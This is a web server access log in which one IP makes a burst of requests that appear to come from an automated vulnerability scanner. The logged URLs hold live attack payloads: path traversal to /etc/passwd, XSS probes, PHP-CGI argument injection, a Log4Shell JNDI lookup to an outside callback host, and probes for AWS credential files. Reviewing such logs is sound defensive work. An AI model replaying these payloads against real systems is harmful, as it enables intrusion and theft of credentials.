[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /prx/000/http/localhost/client_sec/%00../../../addfolder HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /network-login/ HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/public/login.jsp?error=%3Cscript%3Ealert(document.domain)%3C/script%3e HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //lists/elaborate/index.html?reloaded&sort=date_desc&page=2\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /org_execl_download.action?filename=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /PhoneBackup/380Cy4eUGWmfzMaxf9TBZ5cANbH.php HTTP/1.1" 220
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/10 HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/login.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/querybuilder.json.servlet HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /angular-cli.json HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fw.login.php HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/nobody/Machine.cgi?action=get_capability HTTP/1.1" 199
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/avchat-3/index_popup.php?movie_param=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&FB_appId=FB_appId%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appveyor.yml HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /editor.php HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /download.action?filename=../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/common/login/webLogin HTTP/1.1" 199
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfg/login HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/nobody/VerifyCode.cgi?account=YWRtaW46bGludXgzMjE=&login=quick HTTP/1.1" 199
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cgibox?.cab HTTP/1.1" 199
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/user/Config.cgi?.cab&action=get&category=Account.* HTTP/1.1" 199
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/metadata HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_dashboards/app/login HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/nobody/Search.cgi?action=scan HTTP/1.1" 199
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /awstats/data HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.aws/config HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/settings HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/admin/cores?action=%24%7Bjndi%3Aldap%3A%2F%2F%24%7B%3A-672%7D%24%7B%3A-997%7D.%24%7BhostName%7D.uri.d5g6sfahausljekepl20c7ey3oeakb1ee.oast.site%2F%7D HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mgmt/shared/authn/login HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /awstats/ HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /axis2/axis2-web/HappyAxis.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /awstats.pl HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.axiom/accounts/do.json HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/skin/ric/C/config/default.config.json HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.azure-pipelines.yml HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.aws/credentials HTTP/1.1" 196
[09/Jan/2026:10:51:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /azuredeploy.json HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /containers/ HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.badarg.log HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /well-known/apple-app-site-association HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/login?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/operator/fileread?READ.filePath=/etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/showLogon.do HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appspec.yaml HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /listconf?command=conf HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%61%27%22%3e%3c%69%6e%6a%65%63%74%61%62%6c%65%3e HTTP/1.1" 199
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebConsole/api/security/auth/loginServers HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.* HTTP/1.1" 199
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/acs-commons/oak-index-manager.html HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cgibox?/nobody HTTP/1.1" 199
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //libs/bower/bower_components/yui2/sandbox/treeview/newnode2.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/Home/login/index.html HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.png HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /download.php?file=../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /metrics HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /arsys/ HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /miscadmin HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bolt/login HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.htm HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /build.properties HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /archibus/login.axvw HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /PhoneBackup/380Cy4eUGWmfzMaxf9TBZ5cANbH.php HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adminlogin HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-post.php HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /behat.yml HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bun.lockb HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //WLC0ney2%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/..CFIDE/administrator/index.cfm HTTP/1.1" 199
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //lists/text-tiles/index.html?reloaded&sort=date_asc&page=2\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /acs/..;/admin/public/login.jsp?error=%3Cscript%3Ealert(document.domain)%3C/script%3e HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///var HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/tasks HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///bin///querybuilder.json HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmui/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mgmt/shared/authn/login HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /xmlpserver/services/XMLPService HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php?m=admin&c=log&a=table_json&json=get&soso_ok=1&t=user_login_log&page=1&limit=10&bsphptime=1600407394176&soso_id=1&soso&DESC=0 HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appliance/login?login[password]=380CxoWol7IevMaGo1qchtCSA3e%22%3E%3Csvg/onload=alert(document.domain)%3E&login[use_curr]=1&login[submit]=Change%20Password HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /axis/ HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /installer HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bower.json HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/rk.php?goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/ HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.asp HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mysql.php HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /angular.json HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_framework/blazor.boot.json HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bitbucket-pipelines.yml HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apc.php HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/brandfolder/callback.php?wp_abspath=../../../wp-config.php%00 HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /general/status.html HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/querybuilder.json.css?path=/home&p.hits=full&p.limit=-1 HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /axis/happyaxis.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/ HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/install HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927384167 HTTP/1.1" -
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ALFA_DATA/alfacgiapi/ HTTP/1.1" 199
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signin/ HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mgmt/tm/util/bash HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v0.1/ HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/ HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?bauqst=1 HTTP/1.1" 3426
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /azure-pipelines.yml HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /awstats.conf HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/awstats.pl HTTP/1.1" 199
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/weathermap/editor.php?plug=0&mapname=poc.conf&action=set_map_properties&param&param2&debug=existing&node_name&node_x&node_y&node_new_name&node_label&node_infourl&node_hover&node_iconfilename=--NONE--&link_name&link_bandwidth_in&link_bandwidth_out&link_target&link_width&link_infourl&link_hover&map_title=46ea1712d4b13b55b3f680cc5b8b54e8&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7 HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CFIDE/administrator/images/componentutilslogin.jpg HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/brandfolder/callback.php?wp_abspath=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /babel.config.js HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/downloads?fileName=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/login.asp?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///system///sling///loginstatus HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /goform/formping HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/login HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /camunda/app/welcome/default/ HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin%20/db HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /repos?visibility=public HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebConsole/ HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/welcome/default/ HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bitrix/admin/ HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/1 HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/athlon-manage-calameo-publications/thickbox_content.php?attachment_id=id%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%26 HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v1/user/login HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/ HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cas/login HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /speedtest?url=d5g6sfahausljekepl20k8s8fb6c3rago.oast.site HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /net/net/net.html HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/get-users?p=123&pageSize=123 HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/setup HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Cargo.toml HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webUI/userHome.do HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/sys/debug HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /calendarix/admin/cal_login.php HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
